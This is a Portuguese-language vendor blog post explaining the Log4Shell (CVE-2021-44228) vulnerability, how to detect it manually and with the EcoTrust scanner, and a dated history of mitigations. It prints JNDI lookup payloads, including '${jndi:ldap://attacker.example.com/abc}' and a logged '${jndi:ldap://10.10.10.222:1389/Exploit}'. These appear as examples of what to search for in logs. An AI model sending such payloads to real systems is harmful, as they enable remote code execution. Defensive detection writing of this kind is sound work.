Em 9 de dezembro de 2021, o mundo tomou conhecimento de uma nova vulnerabilidade identificada como CVE-2021-44228, afetando milhões de aplicativos Java que usam a biblioteca log4j.

O Log4j é a biblioteca de registro Java mais popular do mundo, com mais de 400.000 downloads no GitHub. A biblioteca é usada por um grande número de empresas de todos os tamanhos!

Essa vulnerabilidade obteve uma pontuação de CVSS 10.0 (a designação mais crítica) e oferece execução remota de código malicioso em hosts que usam softwares que utilizam o log4j.

O ataque foi apelidado como "Log4Shell" e já afetou empresas como: Apple, Tencent, Steam, Twitter, Google, Amazon, Tesla, entre várias outras

Entendendo o Log4Shell

Conforme explicado em log4shell.com ,

1 - Os dados retirados do usuário são enviados ao servidor (por meio de qualquer protocolo).

2 - O servidor registra os dados da solicitação, que incluem a carga maliciosa: ${jndi:ldap://attacker.example.com/abc} (onde attacker.com é um servidor controlado pelo invasor).

3 - Essa carga ativa a vulnerabilidade log4j e o servidor envia uma solicitação para attacker.example.com por meio do protocolo “Java Naming and Directory Interface” (JNDI).

4 - A resposta do servidor controlado pelo invasor inclui uma URL para um arquivo de classe Java remoto (por exemplo, http://second-stage.attacker.example.com/Exploit.class) que é injetado no processo do servidor.

5 - O segundo estágio é acionado pela carga injetada, o que permite que um invasor execute código arbitrário.

Impacto da vulnerabilidade

Log4Shell, é uma vulnerabilidade da classe Remote Code Execution (RCE). Um dos tipos mais perigosos de vulnerabilidades, e permite que o atacante envie um código malicioso para ser executado, uma vez suficientemente comprometido, o invasor pode, de fato, ser capaz de acessar toda e qualquer informação em um servidor! Com a vulnerabilidade Log4Shell, várias outras possibilidades de ataques ficam disponíveis aos atacantes, como: ataques de Ransomware, ataques de DoS e DDOS, Espionagem, Roubo e Vazamentos de dados confidenciais…

Versões vulneráveis do Log4j

Todas as versões entre 2.0-beta9 até a versão 2.16

O primeiro patch (2.15) não resolveu completamente a vulnerabilidade do utilitário Log4Shell, a única ação realizada foi de desabilitar um aspecto de funcionalidade de recuperação de mensagem do JNDI, dessa forma, ainda é possível de ser explorada em certas configurações não originais.

Alvos Comuns de Ataque

  • Caixas de entrada, formulários de login de usuário e senha, pontos de entrada de dados dentro de aplicativos;
  • Cabeçalhos HTTP, como User-Agent, X-Forwarded-For ou outros cabeçalhos personalizados;
  • Qualquer lugar para dados fornecidos pelo usuário!

Como detectar a vulnerabilidade Log4Shell?

  1. Manualmente:

Selecionar 1 Ativo por vez > Realizar a identificação de Softwares que utilizam o log4j > Realizar a busca pelos logs de cada Software > Verificar Parâmetros vulneráveis a ataques JNDI > Realizar a busca por parâmetros e  cargas de ataque em todos os logs. (Realizar essa ação em todos os Ativos da Rede) > Detectar Vulnerabilidade

  1. Utilizando a EcoTrust:

Selecionar 1 Ativo ou Grupo de Ativos > Criar Scan > Selecionar política Log4Shell > Detectar Vulnerabilidade.

Passo a Passo:

  1. Manualmente

1.1 - Para iniciar a detecção vá até o diretório onde estão armazenados os Logs da aplicação que utiliza log4j:

Ex: $ locate log4j

Nesse exemplo, utilizaremos como base o Solr Apache!

Ex: $ cd /var/solr/logs



1.2 - Após acessar o diretório de logs, revise os arquivos em busca de entradas com o seguinte formato:

“${jndi:ldap://}”

Esse é o formato de carga de ataque utilizado na vulnerabilidade Log4Shell!


1.3 - Como podemos observar no fim do Log, possuímos cargas de ataque JNDI no vetor “params”, observe  que ${jndi:ldap://10.10.10.222:1389/Exploit}

é uma das cargas de ataque utilizadas. Veja:


1.4 - Esse é um exemplo de um ambiente com base Solr Apache sob ataque!

Observação: Você terá que realizar essa verificação manualmente em todos os Softwares e Ativos que utilizam Log4j!

  1. Utilizando a EcoTrust

2.1 - Dentro da plataforma EcoTrust abra a aba de menus no canto superior esquerdo, na Aba Scanners, clique em “Criar Novo Scan”:


2.2 - Em “Criar Novo Scan”, já com o ativo criado na plataforma, além do nome e descrição do Scan, selecione o Sensor “WebApp” e a política “Scan log4shell (CVE-2021-44228) - WEBAPP” e clique em “Criar novo Scan”:

Política by Akshath Kothari @ricekot_

2.3 - Em ocorrências, você terá todas as vulnerabilidades e informações sobre o ativo! Como podemos perceber, o Log4Shell está presente! Iremos clicar duas vezes em “Log4Shell (CVE-2021-44228)”:


2.4 - Ao clicar no nome da ocorrência o EcoTrust nos oferece a:

Descrição da Vulnerabilidade:

“Apache Log4j2 <= 2.14.1 Os recursos JNDI usados ​​na configuração, mensagens de log e parâmetros não protegem contra o LDAP controlado pelo invasor e outros terminais relacionados ao JNDI. Um invasor que pode controlar mensagens de log ou parâmetros de mensagem de log pode executar código arbitrário carregado de servidores LDAP quando a substituição de pesquisa de mensagem está habilitada.”

Recomendação para a Vulnerabilidade:

“Apache Log4j2 <= 2.14.1 Os recursos JNDI usados ​​na configuração, mensagens de log e parâmetros não protegem contra o LDAP controlado pelo invasor e outros terminais relacionados ao JNDI. Um invasor que pode controlar mensagens de log ou parâmetros de mensagem de log pode executar código arbitrário carregado de servidores LDAP quando a substituição de pesquisa de mensagem está habilitada. A partir do log4j 2.15.0, esse comportamento foi desabilitado por padrão. Em versões anteriores (> 2.10), esse comportamento pode ser atenuado definindo a propriedade do sistema "log4j2.formatMsgNoLookups" como "true" ou pode ser atenuado em versões anteriores (<2.10) removendo a classe JndiLookup do caminho de classe (exemplo: zip - q -d log4j-core - *. jar org / apache / logging / log4j / core / lookup / JndiLookup.class).”

Links de referência:

Em links de Referência, a EcoTrust trará os melhores sites relacionados à vulnerabilidade, com eles você ganhará mais informações sobre a vulnerabilidade em questão, boas práticas de segurança e processos de mitigação!

A9:2017-Using Components with Known Vulnerabilities | OWASP - Este link de referência lhe mostrará boas práticas de Segurança de acordo com o Owasp em relação a Vulnerabilidades Conhecidas!

A06 Vulnerable and Outdated Components - OWASP Top 10:2021 - Este link de referência lhe mostrará boas práticas de Segurança de acordo com o Owasp em relação a Vulnerabilidades Desconhecidas!

4.7.11 Testing for Code Injection - Nesse site do Owasp, você encontrará boas informações sobre como realizar testes de Injeção de Códigos para confirmar tal vulnerabilidade!

OWASP ZAP – Out-of-band Application Security Testing Support - Suporte para teste de segurança de aplicativos fora de banda!

Improper Input Handling - Manipulação de entrada imprópria, mais um site para auxiliar em testes e entendimento de Code Injection!

CVE-2021-44228 Detail - Link de referência na qual nos traz um detalhamento maior da CVE do Log4Shell!

Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec - Várias informações sobre a vulnerabilidade Log4Shell: O que é? Quem são os afetados? Versões Afetadas, Mitigações, Como funciona o ataque? Como identificar? Atualizações…

NVD - CVE-2021-44228 - Base do NIST na qual faz o detalhamento da Vulnerabilidade como Referências a Conselhos, Soluções e Ferramentas!

CWE-117: Improper Output Neutralization for Logs (4.6) - Aqui você encontrará maiores detalhes sobre a Neutralização de saída inadequada!

Atenção: Com a EcoTrust é possível realizar um Scan em vários Ativos/Alvos de uma só vez, na qual facilita a busca por vulnerabilidades do gênero!

Conheça a EcoTrust

Mitigações (Em Constante Atualização)

20/12/2021 - 15:09 - Foi descoberto recentemente que a versão 2.16.0 está vulnerável a ataques de DOS! Tendo isso em vista, atualize o log4j sempre que possível para a nova versão 2.17.0 na qual não possui as vulnerabilidades RCE ou DOS.

Na terça-feira, 14 de dezembro, foi descoberto que estes sinalizadores são ineficazes contra certos ataques, parcialmente explicados em CVE-2021-45046.

Histórico de Soluções, neste momento NÃO EFETIVAS:

20/12/2021 - 15:04 - Atualizar o log4j para a versão 2.16.0, o que agora desabilita completamente o JNDI por padrão e remove o suporte para pesquisas de mensagens. [Não efetivo]

13/12/2021 - 15:35 -  Para as versões >= 2.10:

Definir log4j2.formatMsgNoLookups para true [Não efetivo]

13/12/2021 - 15:40 - Para as versões 2.0 a 2.10.0:

Remova a classe LDAP do Log4J executando o seguinte comando: [Não efetivo]

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class [Não efetivo]

13/12/2021 - 15:52 - Defina a propriedade do sistema log4j2.formatMsgNoLookups para true [Não efetivo]

----

Atenção: Apenas atualizar o Log4j não significa que estará 100% concluída a fase de mitigação, após atualizar, realize uma verificação no ambiente para se certificar de que não possui nenhum vestígio de Cripto Mineradores ou Ransomware afetando o ambiente ou que não exista algum outro ataque em andamento!

Observação: Log4J v1 é End Of Life (EOL) e não receberá patches de atualização para essa vulnerabilidade. O Log4J v1 também é vulnerável a outros vetores RCE e recomendamos que você migre para o Log4J 2.17.0 sempre que possível.

Nesse artigo, buscamos as melhores e mais atualizadas informações sobre o que se sabe da vulnerabilidade Log4Shell, realizaremos atualizações constantes.